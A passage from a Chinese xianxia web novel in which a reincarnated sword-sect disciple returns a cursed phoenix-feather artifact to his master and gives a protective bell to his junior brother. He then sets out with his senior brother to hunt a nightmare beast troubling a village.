这一世,倒不如不去开启那些孽缘。
钟冥似乎还想再问,可张了张口,终究还是忍住了。
也罢,既然师兄不愿说,他就不必再问。
更何况,现在陪在师兄身边的是自己,而非那惹他伤心的故人……
“两位师弟原来都在此处。”
温润的声音自身后传来,顾从星与钟冥俱是回头。
兰决来到他们身侧:“师尊即将出关,我们这就前去他洞府外。”
他只留下这一句就踏步离去,钟冥神色一振,旋即迈步跟上。
顾从星深吸一口气,跟上两人的步伐。
琢光尊者闭关洞府外。
化神期大能即将出世,天地乱象,电闪雷鸣。
琢光师门下三名弟子伫立在洞府之外,皆是不染风霜,目光殷切地望着洞府大门。
在他们身后百米外,是主峰问道峰上的诸多弟子。他们日常在主峰接受诸位长老教导修习剑法,虽与剑尊沈慕关系并非密切,却久闻其名,不免心生仰慕。
“轰——”
一道白光骤然爆开,劈裂了洞府大门的磐石,随即汹涌灵力释出,所到之处皆寸寸冻结,凝成一片冰天雪地。
尚未筑基的弟子呵气成冰,发梢结霜,却仍是不动分毫,只盼能一睹琢光剑尊之风采。
“师尊!”兰决扬声呼唤,向前迈出一步。
顾从星心潮澎湃,定睛凝视那道缓缓走出的身影。
银发如瀑,冰肌玉骨,手持长剑的男子漠然抬眸,冰蓝瞳孔中映照出三名弟子的身影。
碧空明明,朗月悬空。他孤身立于月华之下,周身一片无垢冰雪,当真是虚渺无极,圣洁神秘,恍若灵光萦绕。
诸弟子不由屏声静息,只觉此方天地似已不在人间。
然而就在众人愣神之时,三道剑光挟着万钧寒意,猝然袭向兰决三人!
兰决在剑光初凝之时就已反应过来,他立即持剑抵抗,将那如同万年寒冰的剑意击碎!
顾从星亦是骤然回神,召出斩鲸剑与剑意相接,将那剑意挑向身后,飞出的剑光所到之处,一座山头轰然崩裂。
钟冥本欲持剑相抗,却在感受到逼人的寒气时转身回撤,步若凌波,与剑光擦身而过。
在他身后的众弟子们全然未料到钟冥竟然不正面抗衡,反而是躲了过去,面对袭来的剑意急忙结成剑阵应战,以数人之力勉强将其化解。
——不愧是剑尊,出关第一个动作居然是向亲传弟子发动攻击!
沈慕乍一出关时如旖旎幻梦般的景象仍在前方,可众人皆是心境大变,既惊惧又钦慕地望向那道银色身影。
“尚可。”
那人轻启双唇,微微颔首。
9. 天璇
[推荐本章背景音乐《凝眸》]
剑光所过之处,霜花成冰。
通过剑意检验了一番三名弟子的修为,沈慕并未再多作言语,只是点足飞向剑宗大殿。
“若有何事,来峰后冷泉寻我。”
这一句话之后,众人已不见剑尊踪迹。
剑尊弟子三人:“……”
一名围观弟子悄声道:“我们在外面等了这么久,剑尊出来砍了我们一剑就走了?”
另一人低声回应:“明明是砍了三剑!”
他们身侧一人忍无可忍:“嘘!你们快闭嘴吧,居然敢妄议分神期大能!”还当着他弟子的面!
兰决收剑入鞘,面上依旧是云轻云淡的笑容。
“师尊还真是一如既往的率性。我稍后要向他去汇报琢光峰内务,两位师弟可要一起?”
钟冥瞄一眼沉默的顾从星,道:“不了,大师兄先去吧。”
顾从星亦是摇头。他自然要去寻师尊的,但不是现在,而且也不能与人同行。
兰决的目光环绕一圈,冲一脸懵然的围观弟子们轻轻颔首,随即踏步离去。
翌日。
顾从星来到冷泉外围,暗自深吸一口气。
师尊沈慕天生剑骨,根骨奇绝,乃单系变异冰灵根。
据说在他未结金丹时尚是黑发,但随着修为越发高深,他的外貌也愈加如冰雪铸就,不似凡人。
冷泉中心有一座浮空玄冰殿,沈慕不闭关时就居于此处。
莲纹冰阶高悬,穹顶棱柱中封着凌厉剑意,折射出瑰丽日光。
“师尊。”顾从星迈步来到冰殿中,眸中映出沈慕的身影。
银白发丝浮动,沈慕回首,示意二弟子上前。
“筑基大圆满,修行进度不错。”
他扫视一眼就已知晓顾从星当前的修为,眉目舒展。
“此番找我可是修炼功法时遇到难处?”
“并非是修炼瓶颈。”
“……从星?”
顾从星并未意识到,自己在与师尊对视时心绪起伏,一眨不眨地描绘面前人的面庞,眸中已酝酿起点点泪光——
他仍是那位皎如山巅雪的剑尊。
未染风花雪月,不经爱恨嗔痴,一身转战擒魔蛟,一剑寒霜十四洲。
前世顾从星活得太短,虽是绚烂潇洒,却也尽是意难平。在人生最后的尽头,他只愿不惜一切以赎前罪,却仍是在差最后一步时饮恨而终。
那一瞬间,他突然很想告诉师尊,和他说真的很抱歉。
和他说,我之前为了让师尊你复活做了许多错事,你会原谅我吗?
顾从星明明知晓那些都已是前尘往事,可看着面前完好无损的师尊,他还是难以自持理智。
“莫哭。”
一只温暖修长的手探了过来,拭去溢出眼眶的热泪。
“!师尊,我……”
直到这时顾从星才意识到自己竟没出息地哭了出来,不禁窘迫埋头,胡乱抹去自己的泪水,耳边染上红晕。
可沈慕居然并未收回自己的手,反而又伸出另一只手来,捧起顾从星的脸,令他不再动作。
冰蓝的双眸微垂,细细打量双手间湿意纵横的苍白面容。他神色依旧古井无波,眸光冷淡。
“可是受了委屈?为师替你出气。”
“不,不是。”
虽然师尊面色依旧冰冷,可他的手却带着融融热意。
顾从星仅仅是听到这许久未闻的声音,心间就已经熨帖不少,似乎多年以来积淤的浊气都散了些。
师尊就是这样,虽然看着清冷孤绝,却在自己最彷徨无措的时候来到身边,伸出援手。
顾从星当时被兄长幽闭在惩戒塔又喂了失心丸后,已是心灰意冷。虽然表面上看着已忘却凤凰翎之事,回归日常修习,可内心却有一处在塌陷溃烂。
他凭练剑锻体麻痹自己,否则一旦空闲,就会陷入恐惧迷茫之中——就连最亲近的兄长尚且如此,这世间又有什么值得信赖?
如同被锁链穿透骨骼的飞鸟,他想逃离顾氏桎梏,可却无处可去。
就在这时,师尊出现了。
名扬天下的琢光剑尊,竟夸赞了自己的流云剑法,还伸出手来,问自己是否愿成为他门下弟子。
在握上师尊指尖的一刻,顾从星耳边似乎响起了锁链破碎的回音。
——是师尊,予我自由。
顾从星眨了眨眼,任由几滴热泪滑落,情不自禁地转头蹭了蹭师尊的手。
沈慕动作微微一僵,但仍是面色平静地任他动作。
直到通过肌肤相触摄取了足够的暖意,顾从星才低垂着眼道:“师尊,我无事。只是有些累了。”
他这般说着,离开了沈慕的双手,从储物戒中召唤出一件灵器来。
绚烂金光乍现,又转而凝为银色光球,待到光华内敛,可见空中一枚星宿模样的灵玉。
“昆仑寒玉……是灵器天璇?”沈慕一眼就认出了此物。
天璇——顾氏七大秘宝之一。顾氏所藏极丰,其中不乏价值连城的法宝灵器。其中,“天机秘宝”广为外界所闻。
“天机秘宝”中囊括天枢、天璇、天玑、天权、玉衡、开阳、摇光七大灵器,只有顾氏嫡系与位高权重的长老方可拥有。这七样灵器攻守各异,无一不是举世罕见的极品。
即便是嫡幼子的顾从星,也不过只有一件天璇罢了。
“不错,正是天璇,自昆仑雪原中取千年冰魄而制,对冰系灵根的师尊大有裨益。”即便是对于其他灵根的修士,此物也可炼化成天级法宝。
顾从星双手捧着天璇,呈到沈慕面前。
“师尊,请您收下此物,用它作剑穗吧。”
沈慕并未动作,他凝视目光恳切的顾从星,一时无言。
片刻后,他眉峰微蹙:“此物太过贵重,不妥。况且你之前已送过我法器用作剑穗。”
“这正是我想说的第二件事……”顾从星略显迟疑,但还是开口道,“师尊,那个翎羽法器,可否还给我?”
此言一出,殿堂中陷入一片死寂。
“为何?”
明明是和以往一般无二的平静语气,可为何听出了些不情愿的意味?
顾从星摇了摇头,将这念头逐出脑海,一定是自己想多了。
“师尊,我先前炼化此物时只当它是个寻常灵宝,但如今我才知……此物负有诅咒,对持有人极其不利,恐会招致祸患。”
顾从星并未说出凤凰翎之内核。毕竟若是将此事全盘托出,就相当于是告知师尊顾氏与空氏灭门案有关。师尊心怀正道,知晓后必然会采取行动。
可如今他尚不能完全确定,顾氏是否当真参与了灭门案。前世的调查,嫌疑主要指向一名长老,而且此人还与天麟派关系密切。
顾氏之中旁支众多,派系林立,若真的藏有包含歹心之人,他顾从星作为嫡子定不会放过。
兄长的态度固然十分可疑,可……是否另有隐情?
毕竟他自从被指定为下一任家主,又去禁地闭关之后,实在是性情大变。
顾从星想,不能现在就将这些事全部告知师尊。时机未到。
“我自知此举极为不妥,故而送给师尊这枚天璇灵器,以做赔罪。”
沈慕仍未言语。
顾从星目光流转在师尊与天璇之间,继续道:“这其中有极浩瀚的冰系灵力,外型又似辰星,用来连接我与师尊,实在是再合适不过。”
这话原本是灵光一现,想到自己名字与这灵器之间的联系便说了出来。
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可一回味,总觉得有些奇怪。
又不是什么定情信物,自己为何要扯这些有的没的?
顾从星暗自懊恼,正欲再开口解释,却听到沈慕的回应。
“既然你这般说,我自当妥善保管。”
沈慕接过天璇,召出琢光剑,意念微动就将那凤翎剑穗摘下,换上天璇。
他甚至还向其中灌入灵力,将天璇外又凝出一层玄冰,使其看上去愈加玲珑剔透。
凤凰翎飘至顾从星怀中,他将其接过,浑觉入手了一个烫手山芋。
就是此物,开启了上一世一连串的悲剧!
要不然直接将其毁去?又或是留着用作其他用处?
顾从星心中思索,目光又望向沈慕,只见师尊正抬手把玩着手中天璇,似乎对这枚新的剑穗很是满意。
见此情景,顾从星心中亦是泛起一阵暖意。但一个想法突然浮现,令他骤然冒出一身冷汗。
距离他送出凤凰翎已经过了三年,若是师尊已经见过萧忘忧,岂不是依然难逃宿命?!
“师尊先前可曾遇到过一个名叫萧忘忧的少年?”
顾从星这话问得突兀,但沈慕却毫不犹豫地回答了。
“没有。这是何人?”
顾从星暗自松了一口气,道:“这是空……”
【滴!宿主!禁止泄露本文主角身份秘密!】
系统的声音突然冒出,同时隐匿许久的石板也浮现在顾从星面前,其上银光闪烁。
直觉告诉顾从星,若他强行违背系统命令,恐怕会经历和最初一样丧失力量的遭遇。
“……空有外貌的一个修士。实则心狠手辣,我有他颇有些过节。”顾从星口中的话转了个弯,继续道,“这翎羽之上的诅咒似乎也和他有关。”
见师尊似乎并未起疑,本着谨慎的态度,顾从星又追问道:
“师尊可有在这三年中接触过黑发黑眸,根骨与修为皆是上乘的少年?年岁应当和我差不多。”
沈慕默了片刻,似乎是在思索,随后摇了摇头。
至此,顾从星心中的一块石头才终于落地。
“为何会有此问?”果然,这番莫名其妙的疑问让沈慕也心生疑窦。
“哦,貌似那家伙也很仰慕您,我担心他来抢我师尊。”
这话半真半假,但说出来倒像是争宠的小孩,顾从星回过神自己就先露出个笑来。
眼看师尊有些讶然地眨了眨眼,顾从星生怕自己又说出什么惊人的话,连忙行了个礼,急急告辞。
要回凤凰翎,真是解了个心腹大患!
沈慕一言不发地望着顾从星远去的身影,蓝色的瞳孔中映着一抹天青色。
直到他的背影彻底不见,沈慕垂下眼,右手轻握,暗自摩挲。
他的掌心中,还有顾从星留下的清泪。
“诅咒吗……”
一道轻语消散在空旷的冰殿之中,很快就了无痕迹。
***
取回凤凰翎后,顾从星本欲将其销毁,却发现此物不愧是空氏秘宝,竟然刀枪不入,水火不侵。
当然,也可能是因它经历炼化,又沾染了师尊的护体灵力。
总之,能先将此物放入储物戒之中了。
顾从星给这凤凰翎下加了数道封印,确定其不会有灵气波动之后才将其存放。他又召出三清铃,抚摸着润白铃声露出笑意……
久等了,小师弟。
七日后,顾从星面色有些疲惫,却眸光熠熠地走向小师弟的居所。
可此时一道熟悉的声音响起。
【滴!宿主,主线任务二开启!】
【请宿主参与剿灭梦貘任务,并保护同门弟子避免死亡结局。】
顾从星神色一凛。
死亡……?!
10. 梵音铃
顾从星暗自皱眉。这次任务倒是不藏了,其中凶恶不言自明。
顾从星怀疑,上一次的支线任务只是打着《合虚大荒录》的幌子,将自己引诱去与迢迢相遇。
似乎与系统任务相呼应,石板上银光将息,一道湛蓝颀长身影就已飘然而至。
来者竟然是大师兄兰决。
“二师弟,万事堂发布了除魔任务,你可要与我同去?”
顾从星听到大师兄这番问话讶然扬眉。
无他,大师兄可从未找自己一起执行过任务。
顾从星回顾自己这两世,委实是独来独往惯了,即使是在他心中分量极重的琢光师门,也并非多么亲近。
大师兄向来端方温雅,平易近人,在宗门中可谓一呼百应。顾从星也算是“百”中之一。
但私下里,在琢光峰中,两人总是各自忙碌,行色匆匆,相较于其他师兄弟也不过略熟悉一些而已。
所以在上一世自己修习禁术东窗事发,师兄将自己逐出宗门,顾从星也并不意外。
……心中也并未不快。他想。
“师兄为何来找我一起?”
“此次玄级任务有几位新入内门的弟子报名。申长老认为此次任务正适合他们作为首次除魔历练,故而直接让这一批弟子们皆去参与……”
万事堂的任务分为四级——天、地、玄、黄。天级任务凶险至极,非元婴修士不可逞能。黄级任务则安全无虞,即使是炼气期弟子也可胜任。
玄级任务,的确最适合那些初入内门的筑基弟子历练。
顾从星凝眸思量,问道峰万事堂那位申长老秉性严谨,应当不会让诸多弟子们去冒险。
可是依照系统的提示,这任务分明有生命危险,怎会只是玄级?
“申长老虽指定我去带队,可此次人数多达十人,只有我一人恐怕力有不逮,故而想找你做个帮手。”
兰决语气轻松,丝毫无强迫之意,琥珀色的双眸中尽是恳切。面对这样的人,鲜少有人能够拒绝。
——顾从星亦然。
反正本来也就是要执行系统任务的。
他这般想着,转开了目光,不再继续与兰决对视。
“明白了。我们何时出发?”
“一旬之后。师弟尚可准备一番。”兰决温声道,“希望此次历练之后,师弟会有所感悟,顺利结成金丹。”
顾从星闻言诧然。
自己近期修为停滞于筑基大圆满,若有机缘便可顺利结丹。莫非大师兄正是因此才会寻自己同赴任务?
“两位师兄可是要同去什么地方?带上我可好?”
一道轻快的声音传来,顾从星与兰决俱是转身,只见钟冥正站在不远处的树影下,小脸隐在一片阴翳中。
在与顾从星对视的瞬间,他双眼发亮,疾步飞扑到二师兄怀中。
“二师兄,多日不见,我好想你!”
拥着熟悉的暖意,顾从星亦是欣然而笑,然而就在他准备像往常一样伸手轻抚钟冥脊背时,余光却瞟到兰决颇有深意的笑容。
“咳!”
顾从星的手蓦然收回,清咳了声就将钟冥扯出怀抱。面对钟冥不满的目光,他故作严肃道:“小师弟,不可行止无状。怎么不向大师兄问好?”
钟冥撅着嘴,看起来颇为不爽,但还是规规矩矩地转身向兰决行礼。
兰决丝毫未怪,反而是眨了眨眼,露出个狡黠的笑:“古有诗云‘一日不见,如隔三秋’,我之前不懂,今日可是知晓其中真意了。”
钟冥被这话激的面红耳赤,顾从星也面上发热,又咳了一声。
“大师兄莫要取笑了,小师弟还未满十五岁……”
可钟冥却立刻反驳:“师兄,我已满十五了!再过不久就快十六了!”他早已不是小孩子了!
“什么?!何时?”顾从星因惊讶声音都大了些。
“应是在去拍卖会之前?本也就不是什么大事,也就未和师兄说了。”
“可……”
顾从星正欲再说,却见兰决收到一枚传声玉简,敛神听完后便向两师弟告辞。
“申长老寻我,应是要交代此次除魔任务的事宜。小师弟,之后师兄为你补上贺礼。这在人间可是束发之年,意义非凡呢。”
他又转头对顾从星道:“二师弟,小师弟是否要参与此次任务,就交由你来定夺。”
说罢,他也不等两人回应,向问道主峰方向御剑飞去。
“哦,对了,除魔任务。”
之前被打岔,钟冥最开始的问题还未得到回应。他凑到顾从星面前,暗金色双眸眨巴着。
“师兄,可否让我同去?”
顾从星面对这番眼神攻势当即就要点头应下,但旋即理智占了上风,还是将那句“好”给咽了下去。
好险,小师弟什么时候练就了这番撒娇卖萌的本领?
“此次任务虽看似普通,但实则凶险。”顾从星想着系统的任务提示,总觉得此行不会简单。
“可是我现在已经筑基,又学了木系功法,不会拖后腿的。”
“那是自然,你一向勤加修炼,在这一批弟子中已是佼佼者。”
眼见钟冥因这番肯定喜上眉梢,顾从星话锋一转:“故而,比起这次任务,我更希望你能参加一个月后的宗内大比。”
“且不论此次任务需要花费多久还未知,外出游历本就不便于准备比斗事宜。小师弟若错失了在宗门大比斩头露角的机会,岂不可惜?”
“况且一年后就是仙门大比,到时我也会去参加。小师弟难道不想与我一同上场,与诸派新秀战个痛快?”
这话果然转移了钟冥的注意。他思虑片刻便露出个志得意满的笑容,越显生机勃勃。
“我明白了!师兄,那你可一定要早些赶回来,看我如何取胜!”
“那是自然。”
顾从星微笑着揉揉钟冥的脑袋,旋即像变戏法一般,晃出一枚玄金铃来,在钟冥面前摇了摇。
“铃铃——”
并非是想象中的清脆铃声,反而是如同庙宇中梵钟撞击的鸣声。
钟冥将其接过,只见此物光彩湛然,其上更有鱼鳞状光斑纹路,入手温润,显然绝非凡品。
“师兄,这是什么宝贝?”
“这是我炼化后的三清铃,结合了佛门法器,或许现将其称作‘梵音铃’更为合适。”顾从星笑道,“不过叫什么不要紧,你知道这是送你的生辰礼物就好了。”
钟冥倏然抬头,眸中尽是不可置信。
“送我的?!”
他长这么大,从未受过如此贵重的礼物……不,倒不如说,他之前的生辰从未收到过贺礼。
钟冥既惊又喜,双手捧着那梵音铃简直不知道如何是好。看他这样,顾从星又忍不住揉揉他脑袋。
“此物经过炼化,可以抵御高阶幻境与魔障。若是受到幻境攻击心绪不稳时,小师弟就摇一摇这铃铛,可令你重归现实。”
顾从星说完这话本是等着小师弟羞涩道谢,却见面前的少年埋着头,紧攥着铃铛默不作声。
这……难道是不喜欢?伤心了?
顾从星自知自己送礼似乎总是不妥,故而轻声问道:“小师弟,这梵音铃看着确实是不够漂亮,你若不喜——恩?!”
话未说完,面前的少年就已扑了过来,他的脸颊蹭在顾从星脖颈旁,声音轻颤。
“喜欢!很喜欢——!”
不论是梵音铃,还是二师兄。
他都喜欢得要命。
顾从星松了一口气,轻轻环抱住少年的身躯。
两人并未注意到,远处一道银白身影正伫立着,冰蓝双瞳中倒映着他们紧紧相拥的姿态。他抚过掌心冰晶,闭目无声离去。
***
兰决拟出此次参与任务的名单,提交万事堂后却接到了师尊的传讯。
真是稀奇,师尊并不常传唤自己,莫非是有什么急事?
来到冰殿,果然空旷大堂中只能看到那一抹白色身影——沈慕不喜人侍奉,洒扫童子之类的弟子都早已遣走。
“师尊寻我来有何事?”
沈慕正把玩着剑穗,修长手指摩挲着星宿灵玉,衬得指尖越发白皙。
兰决注意到师尊的剑穗竟是已经换了,看着那光芒内敛的灵器被玄冰包裹,他眸光微转。
沈慕问道:“你可否觉得,你那两名师弟与以往不同?”
“的确是迥乎不同了。两人修为长进不少,且关系十分密切。”
“嗯。此次游历,你莫要忘记和师弟传授太上忘情之理。”
听到这话,兰决脚步踉跄一下,霍然抬头。
师尊这话怎么像是担心乖儿子被人骗走的老父亲?这是想棒打鸳鸯?
兰决辛苦憋笑,却仍是压抑不住地笑出来,对一脸漠然的师尊道:
“师尊,依我之见,小师弟应只是慕孺依赖罢了,他们都尚是少年懵懂,又怎知何为情爱?”
沈慕默然,似乎是认可了他的话。
旋即他又问道:“你觉得从星是否与以往不同?”
兰决抚了抚下巴,思索道:“的确如此。二师弟看人的眼神与以往不同了,似乎是藏了极深思绪在其中……”
令人看到他的目光,便会不由自主心生怜惜。
“他或是遭遇了什么,却不肯言说。此次游历,你可疏导一二。”
“弟子领命。”
沈慕颔首,定睛看了面前的弟子片刻,又凝出一道冰晶长剑来:“我将修为压至金丹后期,你可否能胜?”
这话锋转变地属实是快了些,但兰决却习以为常地拔剑出鞘,横剑于胸前。
“请师尊赐教!”
****
眨眼间已至一旬之后,顾从星与十位内门弟子们在宗门前集合,等待大师兄兰决的到来。
那些弟子们三三两两聚成一团,低声细语。可顾从星的目光转过去时,他们俱是浑身一颤,不敢再作言语。
有必要这么害怕么?
顾从星看着这些鹌鹑似的师弟师妹们,不禁怀念起小师弟钟冥来。
临走时那孩子还来给自己送行,明明不舍却还作出一幅坚强模样,倒是可爱得紧。
自己给他留下了一些功法秘籍,只望可以助他在内门大比中顺利夺魁。
“诸位师弟久等了。”
温润声音响起,
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兰决飞身而至,极为自然地落在顾从星身边。
空无一人的身侧突然有了人,鼻尖又传来若有若无的寒梅幽香。顾从星神色淡漠地扭开了头,似乎是有些不自在。
不过脚步却是一寸未移。
“此次我们将去中洲边境清剿梦貘,虽是玄级任务,但诸位不可掉以轻心,若遇危机切不可独自逞强。”
众弟子皆点头称是,兰决环视一圈,踏上飞剑。
“出发!随我同往庆桑庄!”
顾从星立刻御剑跟上,兰决似是无意间放缓了速度,逐渐与顾从星并排而行,两人低声交谈,并未注意到身后几位弟子惊奇的目光。
——传闻顾从星凶神恶煞,与兰决师兄也关系淡漠,看来是谣传了。
“从星,你可记得之前袭击你的血妖?”
“记得。师兄可是有了线索?”
“我并不知他去了何处,但是却查到了一些别的……”
兰决神色有些肃然:“此次出现在中洲境内的只是一道分|身。血妖崇渊,其原身乃妖族五大妖之一。”
“五大妖?!”
妖族不同于魔族,乃天地间生灵所化,即便妖境在西荒,可修真界中仍有为数不少的妖族,他们因族群不同善恶皆有,秉性各异。
对于一般的妖族,修真界倒也无甚所谓,任其自由生长,只要不为非作歹就是。但对妖族五大妖,修士们却勒令其不得出蛮荒西境,亦有天麟派坐镇督查。
无他,盖因五大妖力量过于强横,且不乏暴戾凶煞之辈,若将其释出,恐怕又要掀起腥风血雨。
强风拂过,兰决乌发飘扬,琥珀般的眸子注视前方。
“五大妖中,疫妖早已伏诛,据说冥君与音候两大妖坐镇西荒,梦妖次之,血妖相较而言倒是名不见经传了。”
顾从星早知兰决博览群书,却不料他对妖族之事也如此了解。想到那血妖只是一道分|身都有元婴修为,他不禁有些悚然。
“师兄觉得那血妖会卷土重来?”
“他的分|身被我重伤,短期内应是不会再冒险而出。不过师弟还需得多些防备。”
顾从星点头,想到血妖对迢迢下手也不知意欲何为。
心念微动,便将它从芥子中释了出来。
骤然被拉出芥子空间,驰反应过来时已经落入顾从星的怀抱,它正要依照惯性腾跃而下,却突然发现脚下正是万丈高空。
它的动作顿了几秒,最终还是高贵冷艳地扬起脑袋,不再动了。
毛茸茸的尾巴扫了扫,缠上顾从星的手臂。
顾从星:迢迢竟然肯让我抱了!
他颇有些受宠若惊地将驰抱得更紧了些,用脸颊蹭了蹭它柔软的脑袋——和记忆中一样,果然是令人安心的触感。
兰决眨了眨眼,不由得轻笑出声。
“这妖兽倒是有意思,也不知像了谁。”
还未等顾从星回应,兰决又“啊”了声,揶揄道:
“若是小师弟看到,恐怕会扑上来把它拽走,然后泪眼汪汪地求你拥抱呢。”
顾从星:“……”
另一边,钟冥正在顾从星屋中,猛地打了个喷嚏。
他揉了揉鼻子,目光环视屋中一圈,有些黯然地垂下眼睑。
他之前也来过这里许多次,但每次俱是与师兄一起。两人彼此相依,时而共品茗茶,时而共览秘籍,时光很快就过去了。
师兄不在,这偌大的屋子着实是有些冷清。
他按照顾从星走前所说的,在雕漆木架上寻到了留给自己的功法书册。正要就此离去时,余光中却扫到一抹熟悉的黄色。
《合虚大荒录》?
当时师兄拿着这本书,自己在旁侧看过……
他心念一动,伸手去拿,却不料刚刚触及这书,那泛黄的纸页骤然被风吹开,哗哗作响,钟冥的指间触及页脚,竟被生生划了一道口子,血珠融入黑字之间。
“这!”钟冥大惊,急急往后退去一步,却不料绊倒了桌案。
只听“轰”地一声巨响,桌上的物件书籍俱是散落在地,一片狼藉。
钟冥忙蹲下去捡拾,却瞥到了一行格外显眼的字迹——大师兄哪里逃。
?
钟冥疑惑皱眉:“这是?”
他捡起这本书,却看到了其下的另一话本,封皮上只写着八个大字:小师弟他体质神异。
钟冥:“……?”莫非是炼体秘籍?
这般想着,虽然总觉得有哪里不对,但钟冥仍是翻看了起来。
“???”
这小师弟怎么把师兄压倒了?
他要修炼?
什么,他居然是炉鼎体质!炉鼎的修炼功法——
下一页竟然是一幅插图,两道白花花的身影交叠,衣衫半褪,其动作不可不谓栩栩如生,跃然纸上……
“!!!这,这是——”
钟冥双颊爆红,他正要把这本书甩出去,却听到“砰”的一声巨响,房门骤然被破开,一道霜雪般的人影踏步而入。
沈慕环顾一圈,看到惊慌失措的钟冥时似乎有些疑惑,随即他的目光钉在了某个话本之上——
《师尊秘夜》。
11. 无梦庄(1)
沈慕目光定在那话本之上,陷入沉默。
他冰蓝的眸子一转,正想和钟冥说话,却见小弟子慌张地把手中书藏到身后。
不过这并不妨碍沈慕看到封面上的字眼:小师弟他体质神异。
沈慕:“……”
钟冥:“……”
啊啊啊师兄你的话本害死我了!!
他面色通红,手足无措,正欲张口解释,去听师尊突然开口。
“大道忘情。”
钟冥:“?”
“若是耽于情爱,沉溺玩乐,不利于修行。”
钟冥:“……我,这不是……”
他刚想说这书不是我的,可又想到若说出这书来自师兄似乎也不太对劲。于是他只好垂首悻悻道:“我知晓了,师尊。”
沈慕略一点头,将此篇翻过:“你可有感知到异样的气息?”
听到师尊这番发问,钟冥不禁正色,答道:“并未。师尊指的是?”
“魔息。”
钟冥瞳孔一缩。
魔息?难道是自己?可是他明明从未修习过魔功啊?!
不!不会的。不要多虑,就像师兄说的,自己只要持心守正、修炼正统功法,就不会和魔修沾上关系。
“……弟子并未察觉到魔息。”钟冥面色诚恳。
“恩。此处可有异样?”
沈慕面色如常,似乎全然未怀疑过面前的弟子。
钟冥心中又轻快起来,扬声道:“此处并无异常。不过这本书似乎有些古怪,仅是触碰书页就能将手划破。”
要知道,一般的修士经过锻体,鲜少能被寻常锐器中伤,更别提一页纸了。
沈慕隔空取来《合虚大荒录》,刚刚还锋利异常的书此刻却寻常无比,被他页页翻过。
他眉间微蹙,但并未言语,只是将此物放回原处。他略一扬手,混乱的室内又恢复如常,那几个令人面红耳赤的话本也规矩地躺在桌案上。
“走吧。”
沈慕将背影留给小弟子,钟冥下意识地起身跟上。
“从星准备的木系功法过于温和,你适合更凌厉的招数。”
随着他的言语,一本泛着煊赫金光的功法飞到钟冥面前。
竟是木系最高阶的攻击秘法——《乙木天罡录》!
***
中洲边境,庆桑庄。
众人落地后环视面前占地颇大的村庄,虽不算残破潦倒,但往来村民面色无光,眼下青黑,几间房屋内空无一人,木门随风开合,颇有些落败之景。
见青玄剑宗修士到来,村民们俱是既惊又喜,不消片刻就将村长唤了过来,面色虔诚地围在弟子们身边。
“谢天谢地!青玄剑宗的神仙们还愿意来救救我们!”
年迈的村长说着就要直身跪下,却被兰决一把馋住。
“老人家不必多礼。我们听说此地有梦貘作祟,还劳烦您细细告知。”
“那是自然!神仙们请随我来!”
村长起身引路,不消一刻钟就将众人领到庆桑庄中心的院落之中——村长家址所在。
落座后,兰决摆手婉拒了小厮们的奉茶,开门见山道:
“村长,梦貘是何时出现的?”
“大抵是半年前。”村长捋了捋胡子,沉声回忆,“那时候大家伙就总是做噩梦,但起初我们并未在意,毕竟噩梦嘛,谁都会做不是?”
“可是之后情况就越来越不对了……”
“起初是做噩梦的人越来越多,而且越发频繁了。然后啊,这噩梦的内容也从妖魔鬼怪逐渐变成了我们的亲身经历。”
“在梦中,总会出现我们最害怕、最难过的事,这谁能受得了啊?我们也发现不对劲了,便向最近的门派求援,谁知那修士来了不消一日便称他打不过梦貘,跑了!”
言至此处,村长重重叹了口气。
“我们这才知晓原来是梦貘作祟。可谁知我们的求援之举竟激怒了它,往后我们一入眠便会不断地循环最恐惧的记忆,甚至有人被生生逼疯!好多村民都吓得不敢入睡,每日神色恍惚……哎,已有好多人逃去外地了。”
顾从星始终安静听着,此时突然开口:“逃去外地就不会再做噩梦了么?”
村长本是眼皮半沓拉着,一副昏昏沉沉的模样,听到这问话他悚然一惊,双目圆睁:
“对啊!为何他们去了外地就不再做噩梦了?莫非……庆桑庄被诅咒了?!”
他颤颤巍巍地说出这话,想喝水压惊却一个未拿稳,将茶水泼了自己一身。
“村长不必惊慌。应是梦貘恰好来到此地,便留在此处吸食魂力。我们既然来了,定不会再容它作恶。”
兰决温声安慰着,但言语中却带有莫名的力量,令人不由得信服。
村长撑着桌子站起身,冲众人躬身道谢,又细碎地说了些村中的大体情况,看眼前诸位剑宗弟子们已是心有成算,才挪步离开了。
兰决见诸位弟子皆是沉默不语,若有所思,便问道:“诸位师弟师妹对此事有何见解?”
一名面容清秀的圆脸少年率先开口道:“兰师兄,我有一问。”
兰决记得此人正是问道峰何长老座下小弟子,名唤阮维,年岁虽轻却修为不凡。
“阮师弟但说无妨。”
“据我所知,梦貘虽是妖物,却好食人噩梦。换言之,被它看中的人不仅不会做噩梦,反而是会一夜无梦才对。为何此地的梦貘却一反常态?”
“关于这点,我倒是有些猜想。”
丹青峰主门下弟子陶雪亭接过话头,她平日对妖魔异兽的古籍有所涉猎:“我听闻若是妖族受到强大的外界刺激,便有可能一改本性,乃至为非作歹。”
兰决赞许地颔首:“不错。我亦是如此猜测。虽不知这梦貘受到何种刺激,不过当今也唯有将其剿灭了。”
刺激么……顾从星暗自思量着,无端想起了系统的任务提示。
——保护同门弟子避免死亡结局。
念及此处,他猝然开口:“这刺激既可能是它先前所受,亦可能是它来到庆桑庄后遭遇了什么。若这此地有异,我们若无防备恐怕会正中陷阱。”
此言一出,几位年少的弟子俱是面色一白。
“不……不会吧?我们这不是玄级任务吗?”一名瘦弱弟子小心翼翼地开口,“对吧,兰师兄?”
可兰决并未如他所愿当即应下。
“二师弟所言不无道理。”
其实他刚刚也在思索此事,不料顾从星先一步开口了。
“为防止意外突发,此次搜寻梦貘时不可独自行动,我们十二人分成两队行事。我与从星各带五名弟子。”
“大家尚可休整一番。今夜子时,我们兵分两路,追捕梦貘踪迹。”
这般说着,兰决将数道灵力传入弟子们的通讯玉牌之中。
“若有危机,只要以灵力触碰玉牌,我就会赶往你们身边。”
这话的意思便是哪怕不在一队,大师兄也会全力守护了。
顾从星想,师兄为了不让那些弟子因分到自己队伍而心生怨怼,倒也是煞费苦心。
众人一番决议,最终以抽签决定分队。与顾从星一队的恰好是先前发言过的阮维与陶雪亭,还有一对灵虚峰的师兄弟、一名沐泽峰的丹修,名唤梅慈。
梅慈年纪不大,对顾从星的意见却是颇深,抽到签的当场便是面色一沉,作出一声冷哼。
他五官算是明艳,却因印堂间积着一股郁气,看着颇难相与。
顾从星对此只觉意料之中。
他也不是没听过自己在宗内的恶名,什么凶狠好斗、骄纵跋扈、冷情冷心之类的,都早已见怪不怪。
